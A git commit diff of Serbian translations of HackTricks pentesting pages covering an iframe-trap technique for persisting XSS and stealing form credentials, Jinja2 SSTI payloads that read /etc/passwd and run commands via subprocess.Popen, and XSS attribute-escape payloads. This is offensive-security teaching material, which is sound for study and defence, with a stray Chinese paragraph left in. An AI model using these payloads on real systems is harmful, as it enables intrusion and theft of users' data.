Translated ['pentesting-web/iframe-traps.md', 'pentesting-web/ssti-serve

This commit is contained in:
Translator 2024-06-14 10:18:30 +00:00
parent ccfab7039f
commit a6a421b187
7 changed files with 185 additions and 97 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

View file

@ -587,7 +587,6 @@
* [Upgrade Header Smuggling](pentesting-web/h2c-smuggling.md) * [Upgrade Header Smuggling](pentesting-web/h2c-smuggling.md)
* [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md) * [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
* [IDOR](pentesting-web/idor.md) * [IDOR](pentesting-web/idor.md)
* [Integer Overflow](pentesting-web/integer-overflow.md)
* [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md) * [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md)
* [LDAP Injection](pentesting-web/ldap-injection.md) * [LDAP Injection](pentesting-web/ldap-injection.md)
* [Login Bypass](pentesting-web/login-bypass/README.md) * [Login Bypass](pentesting-web/login-bypass/README.md)
@ -651,6 +650,7 @@
* [DOM Invader](pentesting-web/xss-cross-site-scripting/dom-invader.md) * [DOM Invader](pentesting-web/xss-cross-site-scripting/dom-invader.md)
* [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md) * [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md)
* [Iframes in XSS, CSP and SOP](pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md) * [Iframes in XSS, CSP and SOP](pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md)
* [Integer Overflow](pentesting-web/xss-cross-site-scripting/integer-overflow.md)
* [JS Hoisting](pentesting-web/xss-cross-site-scripting/js-hoisting.md) * [JS Hoisting](pentesting-web/xss-cross-site-scripting/js-hoisting.md)
* [Misc JS Tricks & Relevant Info](pentesting-web/xss-cross-site-scripting/other-js-tricks.md) * [Misc JS Tricks & Relevant Info](pentesting-web/xss-cross-site-scripting/other-js-tricks.md)
* [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md) * [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md)
@ -672,6 +672,7 @@
* [JavaScript Execution XS Leak](pentesting-web/xs-search/javascript-execution-xs-leak.md) * [JavaScript Execution XS Leak](pentesting-web/xs-search/javascript-execution-xs-leak.md)
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md) * [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md) * [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
* [Iframe Traps](pentesting-web/iframe-traps.md)
## ⛈️ Cloud Security ## ⛈️ Cloud Security

View file

@ -0,0 +1,47 @@
# Iframe Zamke
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## Osnovne Informacije
Ova forma zloupotrebe XSS-a putem iframes-a radi krađe informacija od korisnika koji se kreću po web stranici prvobitno je objavljena u ovim 2 posta sajta trustedsec.com: [**ovde**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **i** [**ovde**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).
Napad počinje na stranici ranjivoj na XSS gde je moguće da **žrtve ne napuste XSS** tako što ih se **natera da navigiraju unutar iframes-a** koji zauzima celu web aplikaciju.
XSS napad će u osnovi učitati web stranicu u iframe-u na 100% ekrana. Stoga, žrtva **neće primetiti da se nalazi unutar iframes-a**. Zatim, ako žrtva navigira na stranici klikanjem linkova unutar iframes-a (unutar web-a), ona će **navigirati unutar iframes-a** sa proizvoljnim JS-om učitanim koji krade informacije sa te navigacije.
Osim toga, da bi bilo realističnije, moguće je koristiti neke **slušače** da provere kada iframe promeni lokaciju stranice, i ažuriraju URL browsera sa tom lokacijom koju korisnik misli da se kreće stranicama koristeći browser.
<figure><img src="../.gitbook/assets/image (1248).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png">https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png</a></p></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1249).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png">https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png</a></p></figcaption></figure>
Takođe, moguće je koristiti slušače da se ukradu osetljive informacije, ne samo druge stranice koje žrtva posećuje, već i podaci korišteni za **popunjavanje formi** i slanje ih (kredencijali?) ili za **krađu lokalnog skladištenja**...
Naravno, glavna ograničenja su da će **žrtva zatvaranjem taba ili unošenjem druge URL adrese u browseru izaći iz iframes-a**. Drugi način da se ovo uradi bi bilo **osvežavanje stranice**, međutim, ovo bi moglo biti delimično **sprečeno** onemogućavanjem kontekst menija desnim klikom svaki put kada se učita nova stranica unutar iframes-a ili primetiti kada miš korisnika napusti iframes, potencijalno da klikne dugme za osvežavanje browsera i u tom slučaju URL browsera se ažurira sa originalnom URL adresom ranjivom na XSS tako da ako korisnik ponovo učita, ponovo će biti otrovan (napomena da ovo nije vrlo prikriveno).
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -6,7 +6,7 @@
Drugi načini podrške HackTricks-u: Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -30,9 +30,9 @@ return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__": if __name__ == "__main__":
app.run() app.run()
``` ```
### **Debug izjava** ### **Debug Izjava**
Ako je Debug ekstenzija omogućena, `debug` tag će biti dostupan za ispis trenutnog konteksta, kao i dostupne filtere i testove. Ovo je korisno kako biste videli šta je dostupno za korišćenje u predlošku bez postavljanja debagera. Ako je omogućeno proširenje za debagovanje, dostupna će biti oznaka `debug` za ispis trenutnog konteksta, kao i dostupnih filtera i testova. Ovo je korisno kako biste videli šta je dostupno za korišćenje u predlošku bez postavljanja debagera.
```python ```python
<pre> <pre>
@ -43,6 +43,7 @@ Ako je Debug ekstenzija omogućena, `debug` tag će biti dostupan za ispis trenu
</pre> </pre>
``` ```
### **Izbaci sve konfiguracione promenljive** ### **Izbaci sve konfiguracione promenljive**
@ -60,6 +61,7 @@ Izvor: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](
{% endraw %} {% endraw %}
``` ```
## **Jinja Injection** ## **Jinja Injection**
@ -79,9 +81,9 @@ request
``` ```
### Obnavljanje \<class 'object'> ### Obnavljanje \<class 'object'>
Zatim, iz ovih objekata moramo doći do klase: **`<class 'object'>`** kako bismo pokušali **obnoviti** definisane **klase**. Ovo je zato što iz ovog objekta možemo pozvati metodu **`__subclasses__`** i **pristupiti svim klasama iz python okruženja koje nije peskovnikovano**. Zatim, iz ovih objekata moramo doći do klase: **`<class 'object'>`** kako bismo pokušali **obnoviti** definisane **klase**. Ovo je zato što iz ovog objekta možemo pozvati metod **`__subclasses__`** i **pristupiti svim klasama iz nesandboxovanog** Python okruženja.
Da biste pristupili toj **klasi objekta**, morate **pristupiti objektu klase** a zatim pristupiti ili **`__base__`**, **`__mro__()[-1]`** ili `.`**`mro()[-1]`**. A zatim, **nakon** dostizanja ove **klase objekta** pozivamo **`__subclasses__()`**. Da biste pristupili toj **klasi objekta**, morate **pristupiti objektu klase** a zatim pristupiti ili **`__base__`**, **`__mro__()[-1]`** ili `.`**`mro()[-1]`**. I onda, **nakon** dostizanja ove **klase objekta** pozivamo **`__subclasses__()`**.
Proverite ove primere: Proverite ove primere:
```python ```python
@ -119,6 +121,7 @@ dict.__mro__[-1]
{% endraw %} {% endraw %}
# Not sure if this will work, but I saw it somewhere # Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }} {{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }} {{ ''.class.mro()[1].subclasses() }}
@ -135,7 +138,7 @@ Poziv `__subclasses__` nam je pružio priliku da **pristupimo stotinama novih fu
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }} {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }} {{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
``` ```
**Udaljeno izvršavanje koda (RCE)** **RCE**
```python ```python
# The class 396 is the class <class 'subprocess.Popen'> # The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}} {{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
@ -196,6 +199,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
{% endraw %} {% endraw %}
``` ```
* [**Vratite se ovde za više opcija za pristup globalnom objektu**](jinja2-ssti.md#pristup-globalnim-objektima) * [**Vratite se ovde za više opcija za pristup globalnom objektu**](jinja2-ssti.md#pristup-globalnim-objektima)
* [**Vratite se ovde za više opcija za pristup klasi objekta**](jinja2-ssti.md#oporavak-manje-od-klase-objekta-veće) * [**Vratite se ovde za više opcija za pristup klasi objekta**](jinja2-ssti.md#oporavak-manje-od-klase-objekta-veće)
@ -209,7 +213,7 @@ Podrazumevano, Flask enkodira sav HTML unutar šablona iz sigurnosnih razloga:
#will be #will be
&lt;script&gt;alert(1);&lt;/script&gt; &lt;script&gt;alert(1);&lt;/script&gt;
``` ```
**Filter `safe`** nam omogućava da ubacimo JavaScript i HTML u stranicu **bez** enkodiranja **HTML-a**, kao što je prikazano ovde: **Filter `safe`** nam omogućava da ubacimo JavaScript i HTML u stranicu **bez** enkodiranja u HTML-u, kao što je prikazano ovde:
```python ```python
{{'<script>alert(1);</script>'|safe}} {{'<script>alert(1);</script>'|safe}}
#will be #will be
@ -235,11 +239,12 @@ Bez **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
{% endraw %} {% endraw %}
``` ```
## Jinja Injection bez **\<class 'object'>** ## Jinja Injection bez **\<class 'object'>**
Iz [**globalnih objekata**](jinja2-ssti.md#pristup-globalnim-objektima) postoji još jedan način da se dođe do **RCE-a bez korišćenja te klase.**\ Iz [**globalnih objekata**](jinja2-ssti.md#pristup-globalnim-objektima) postoji još jedan način da se dođe do **RCE-a bez korišćenja te klase.**\
Ako uspete da pristupite bilo kojoj **funkciji** iz tih globalnih objekata, moći ćete da pristupite **`__globals__.__builtins__`** i odatle je **RCE** vrlo **jednostavan**. Ako uspete da pristupite bilo kojoj **funkciji** iz tih globalnih objekata, moći ćete da pristupite **`__globals__.__builtins__`** i odande je **RCE** veoma **jednostavan**.
Možete **pronaći funkcije** iz objekata **`request`**, **`config`** i bilo kog **drugog** interesantnog **globalnog objekta** do kojeg imate pristup sa: Možete **pronaći funkcije** iz objekata **`request`**, **`config`** i bilo kog **drugog** interesantnog **globalnog objekta** do kojeg imate pristup sa:
```bash ```bash
@ -284,7 +289,7 @@ Kada pronađete neke funkcije, možete povratiti ugrađene funkcije pomoću:
``` ```
### Fuzzing WAF bypass ### Fuzzing WAF bypass
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一个专门用于CTF的工具但也可以用于在真实场景中暴力破解无效参数。该工具只是喷洒单词和查询以检测过滤器搜索绕过,并提供交互式控制台。 **Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一个专门针对CTF的工具但也可以用于在真实场景中暴力破解无效参数。该工具只是简单地发送单词和查询以检测过滤器搜索绕过方式,并提供交互式控制台。
``` ```
webui: webui:
As the name suggests, web UI As the name suggests, web UI
@ -312,7 +317,7 @@ The request will be urlencoded by default according to the HTTP format, which ca
## Reference ## Reference
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
* Proverite [attr trik kako biste zaobišli zabranjene znakove ovde](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3). * Proverite [attr trik kako biste zaobišli zabranjene karaktere ovde](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113) * [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI) * [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)

View file

@ -1,6 +1,6 @@
# XSS (Cross Site Scripting) # XSS (Cross Site Scripting)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hakersku karijeru** i hakovanje onoga što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_). Ako ste zainteresovani za **hakersku karijeru** i hakovanje onoga što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_).
@ -8,7 +8,7 @@ Ako ste zainteresovani za **hakersku karijeru** i hakovanje onoga što se ne mo
## Metodologija ## Metodologija
1. Proverite da li se **bilo koja vrednost kojom upravljate** (_parametri_, _putanja_, _zaglavlja_?, _kolačići_?) **reflektuje** u HTML-u ili se **koristi** od strane **JS** koda. 1. Proverite da li se **bilo koja vrednost kojom upravljate** (_parametri_, _putanja_, _zaglavlja_?, _kolačići_?) reflektuje u HTML-u ili se **koristi** od strane **JS** koda.
2. **Pronađite kontekst** gde se reflektuje/koristi. 2. **Pronađite kontekst** gde se reflektuje/koristi.
3. Ako je **reflektovano** 3. Ako je **reflektovano**
1. Proverite **koje simbole možete koristiti** i u zavisnosti od toga pripremite payload: 1. Proverite **koje simbole možete koristiti** i u zavisnosti od toga pripremite payload:
@ -41,15 +41,15 @@ Kada radite na složenom XSS-u, možda će vam biti zanimljivo znati o:
## Reflektovane vrednosti ## Reflektovane vrednosti
Da biste uspešno iskoristili XSS, prvo što trebate pronaći je **vrednost kojom upravljate koja se reflektuje** na web stranici. Da biste uspešno iskoristili XSS, prva stvar koju treba pronaći je **vrednost kojom upravljate koja se reflektuje** na veb stranici.
* **Intermediarno reflektovano**: Ako otkrijete da se vrednost parametra ili čak putanje reflektuje na web stranici, možete iskoristiti **Reflected XSS**. * **Srednje reflektovano**: Ako otkrijete da se vrednost parametra ili čak putanje reflektuje na veb stranici, možete iskoristiti **Reflected XSS**.
* **Smešteno i reflektovano**: Ako otkrijete da je vrednost kojom upravljate sačuvana na serveru i reflektuje se svaki put kada pristupite stranici, možete iskoristiti **Stored XSS**. * **Smešteno i reflektovano**: Ako otkrijete da je vrednost kojom upravljate sačuvana na serveru i reflektuje se svaki put kada pristupite stranici, možete iskoristiti **Stored XSS**.
* **Pristupljeno putem JS-a**: Ako otkrijete da se vrednost kojom upravljate pristupa korišćenjem JS-a, možete iskoristiti **DOM XSS**. * **Pristupljeno putem JS**: Ako otkrijete da se vrednost kojom upravljate pristupa korišćenjem JS-a, možete iskoristiti **DOM XSS**.
## Konteksti ## Konteksti
Kada pokušavate iskoristiti XSS, prvo što trebate znati je **gde se reflektuje vaš unos**. Zavisno od konteksta, moći ćete izvršiti proizvoljan JS kod na različite načine. Kada pokušavate iskoristiti XSS, prva stvar koju treba znati je **gde se vaš unos reflektuje**. Zavisno od konteksta, moći ćete izvršiti proizvoljan JS kod na različite načine.
### Čisti HTML ### Čisti HTML
@ -62,10 +62,10 @@ Ako se vaš unos reflektuje unutar vrednosti atributa oznake, možete pokušati:
1. Da **izađete iz atributa i iz oznake** (tada ćete biti u čistom HTML-u) i kreirate novu HTML oznaku za zloupotrebu: `"><img [...]` 1. Da **izađete iz atributa i iz oznake** (tada ćete biti u čistom HTML-u) i kreirate novu HTML oznaku za zloupotrebu: `"><img [...]`
2. Ako **možete izaći iz atributa ali ne i iz oznake** (`>` je enkodiran ili obrisan), zavisno od oznake možete **kreirati događaj** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="` 2. Ako **možete izaći iz atributa ali ne i iz oznake** (`>` je enkodiran ili obrisan), zavisno od oznake možete **kreirati događaj** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
3. Ako **ne možete izaći iz atributa** (`"` je enkodiran ili obrisan), onda zavisno od **kog atributa** se vaša vrednost reflektuje **da li kontrolišete celu vrednost ili samo deo** moći ćete je zloupotrebiti. Na **primer**, ako kontrolišete događaj poput `onclick=`, moći ćete da naterate da izvrši proizvoljan kod kada se klikne. Još jedan interesantan **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`** 3. Ako **ne možete izaći iz atributa** (`"` je enkodiran ili obrisan), onda zavisno od **kog atributa** se vaša vrednost reflektuje u **da li kontrolišete celu vrednost ili samo deo** moći ćete je zloupotrebiti. Na **primer**, ako kontrolišete događaj poput `onclick=`, moći ćete ga naterati da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
4. Ako se vaš unos reflektuje unutar "**neiskorišćenih oznaka**" možete pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (trebaće vam neka vrsta socijalnog inženjera da iskoristite ovo): **`" accesskey="x" onclick="alert(1)" x="`** 4. Ako se vaš unos reflektuje unutar "**neiskorišćenih oznaka**" možete pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (trebaće vam neka vrsta socijalnog inženjera da iskoristite ovo): **`" accesskey="x" onclick="alert(1)" x="`**
Čudan primer Angular koji izvršava XSS ako kontrolišete ime klase: Čudan primer Angulara koji izvršava XSS ako kontrolišete ime klase:
```html ```html
<div ng-app> <div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong> <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -76,7 +76,7 @@ Ako se vaš unos reflektuje unutar vrednosti atributa oznake, možete pokušati:
U ovom slučaju, vaš unos se reflektuje između **`<script> [...] </script>`** oznaka HTML stranice, unutar `.js` fajla ili unutar atributa korišćenjem **`javascript:`** protokola: U ovom slučaju, vaš unos se reflektuje između **`<script> [...] </script>`** oznaka HTML stranice, unutar `.js` fajla ili unutar atributa korišćenjem **`javascript:`** protokola:
* Ako je reflektovan između **`<script> [...] </script>`** oznaka, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da ubacite `</script>` i izbegnete ovaj kontekst. Ovo funkcioniše jer će **pregledač prvo parsirati HTML oznake** a zatim sadržaj, stoga neće primetiti da je vaš ubačeni `</script>` tag unutar HTML koda. * Ako je reflektovan između **`<script> [...] </script>`** oznaka, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da ubacite `</script>` i izbegnete ovaj kontekst. Ovo funkcioniše jer će **pregledač prvo parsirati HTML oznake** a zatim sadržaj, stoga neće primetiti da je vaš ubačeni `</script>` tag unutar HTML koda.
* Ako je reflektovan **unutar JS stringa** i prethodni trik ne funkcioniše, moraćete **izaći** iz stringa, **izvršiti** svoj kod i **rekonstruisati** JS kod (ako postoji greška, neće biti izvršena): * Ako je reflektovan **unutar JS stringa** i prethodni trik ne funkcioniše, moraćete da **izađete** iz stringa, **izvršite** svoj kod i **rekonstruišete** JS kod (ako postoji greška, neće biti izvršena):
* `'-alert(1)-'` * `'-alert(1)-'`
* `';-alert(1)//` * `';-alert(1)//`
* `\';alert(1)//` * `\';alert(1)//`
@ -89,7 +89,7 @@ U ovom slučaju, vaš unos se reflektuje između **`<script> [...] </script>`**
``` ```
#### Podizanje Javascript-a #### Podizanje Javascript-a
Javascript Hoisting se odnosi na mogućnost **deklarisanja funkcija, promenljivih ili klasa nakon što su korišćene, tako da možete iskoristiti situacije gde XSS koristi nedeklarisane promenljive ili funkcije.**\ Podizanje Javascript-a se odnosi na mogućnost **deklarisanja funkcija, promenljivih ili klasa nakon što su korišćene, tako da možete iskoristiti situacije gde XSS koristi nedeklarisane promenljive ili funkcije.**\
**Proverite sledeću stranicu za više informacija:** **Proverite sledeću stranicu za više informacija:**
{% content-ref url="js-hoisting.md" %} {% content-ref url="js-hoisting.md" %}
@ -100,13 +100,13 @@ Javascript Hoisting se odnosi na mogućnost **deklarisanja funkcija, promenljivi
Na nekoliko web stranica postoje endpointovi koji **prihvataju kao parametar ime funkcije za izvršavanje**. Čest primer koji se može videti je nešto poput: `?callback=callbackFunc`. Na nekoliko web stranica postoje endpointovi koji **prihvataju kao parametar ime funkcije za izvršavanje**. Čest primer koji se može videti je nešto poput: `?callback=callbackFunc`.
Dobar način da saznate da li nešto što je direktno dato od strane korisnika pokušava da se izvrši je **menjanje vrednosti parametra** (na primer u 'Vulnerable') i traženje grešaka u konzoli kao što je: Dobar način da saznate da li nešto što je direktno dato od strane korisnika pokušava da se izvrši je **menjanje vrednosti parametra** (na primer u 'Ranjiv') i traženje grešaka u konzoli poput:
![](<../../.gitbook/assets/image (711).png>) ![](<../../.gitbook/assets/image (711).png>)
U slučaju da je ranjiv, možda ćete moći da **pokrenete upozorenje** samo slanjem vrednosti: **`?callback=alert(1)`**. Međutim, vrlo je često da će ovi endpointovi **validirati sadržaj** da bi dozvolili samo slova, brojeve, tačke i donje crte (**`[\w\._]`**). U slučaju da je ranjivo, možete **pokrenuti upozorenje** samo slanjem vrednosti: **`?callback=alert(1)`**. Međutim, vrlo je često da će ovi endpointovi **validirati sadržaj** da bi dozvolili samo slova, brojeve, tačke i donje crte (**`[\w\._]`**).
Ipak, čak i sa tom ograničenom moguće je izvršiti neke akcije. To je zato što možete koristiti te validne karaktere da **pristupite bilo kom elementu u DOM-u**: Ipak, čak i sa tom ograničenjem, još uvek je moguće izvršiti neke akcije. To je zato što možete koristiti te validne karaktere da **pristupite bilo kom elementu u DOM-u**:
![](<../../.gitbook/assets/image (747).png>) ![](<../../.gitbook/assets/image (747).png>)
@ -118,9 +118,9 @@ nextElementSibiling
lastElementSibiling lastElementSibiling
parentElement parentElement
``` ```
Možete takođe pokušati da **pokrenete Javascript funkcije** direktno: `obj.sales.delOrders`. Možete takođe pokušati da **pokrenete JavaScript funkcije** direktno: `obj.sales.delOrders`.
Međutim, obično su endpointi koji izvršavaju navedenu funkciju endpointi bez mnogo interesantnog DOM-a, **druge stranice na istom poreklu** će imati **zanimljiviji DOM** za obavljanje više akcija. Međutim, obično su endpointi koji izvršavaju navedenu funkciju endpointi bez mnogo interesantnog DOM-a, **druge stranice na istom izvoru** će imati **interesantniji DOM** za obavljanje više akcija.
Stoga, kako bi se **zloupotrebila ova ranjivost u drugačijem DOM-u**, razvijena je eksploatacija **Same Origin Method Execution (SOME)**: Stoga, kako bi se **zloupotrebila ova ranjivost u drugačijem DOM-u**, razvijena je eksploatacija **Same Origin Method Execution (SOME)**:
@ -130,15 +130,15 @@ Stoga, kako bi se **zloupotrebila ova ranjivost u drugačijem DOM-u**, razvijena
### DOM ### DOM
Postoji **JS kod** koji **nesigurno** koristi neke **podatke kontrolisane od strane napadača** poput `location.href`. Napadač bi mogao iskoristiti ovo da izvrši proizvoljan JS kod. Postoji **JS kod** koji **nesigurno** koristi neke **podatke kontrolisane od strane napadača** poput `location.href`. Napadač bi mogao da zloupotrebi ovo da izvrši proizvoljan JS kod.
{% content-ref url="dom-xss.md" %} {% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md) [dom-xss.md](dom-xss.md)
{% endcontent-ref %} {% endcontent-ref %}
### **Universalni XSS** ### **Universal XSS**
Ovakav tip XSS-a može se pronaći **bilo gde**. Ne zavise samo od eksploatacije klijenta web aplikacije već od **bilo kog** **konteksta**. Ovakav tip **proizvoljne JavaScript eksploatacije** može čak biti zloupotrebljen za dobijanje **RCE**, **čitanje** **proizvoljnih** **fajlova** na klijentima i serverima, i više.\ Ovakav tip XSS-a može se pronaći **bilo gde**. Ne zavise samo o eksploataciji klijenta web aplikacije već o **bilo kom** **kontekstu**. Ovakva vrsta **proizvoljne JavaScript eksploatacije** može čak biti zloupotrebljena da se dobije **RCE**, **čitanje** **proizvoljnih** **fajlova** na klijentima i serverima, i još više.\
Neki **primeri**: Neki **primeri**:
{% content-ref url="server-side-xss-dynamic-pdf.md" %} {% content-ref url="server-side-xss-dynamic-pdf.md" %}
@ -149,17 +149,17 @@ Neki **primeri**:
[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) [electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
{% endcontent-ref %} {% endcontent-ref %}
## Bajpasovanje WAF enkodiranjem slike ## WAF zaobilaženje kodiranja slike
![sa https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>) ![sa https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>)
## Ubacivanje unutar sirovog HTML-a ## Ubacivanje unutar sirovog HTML-a
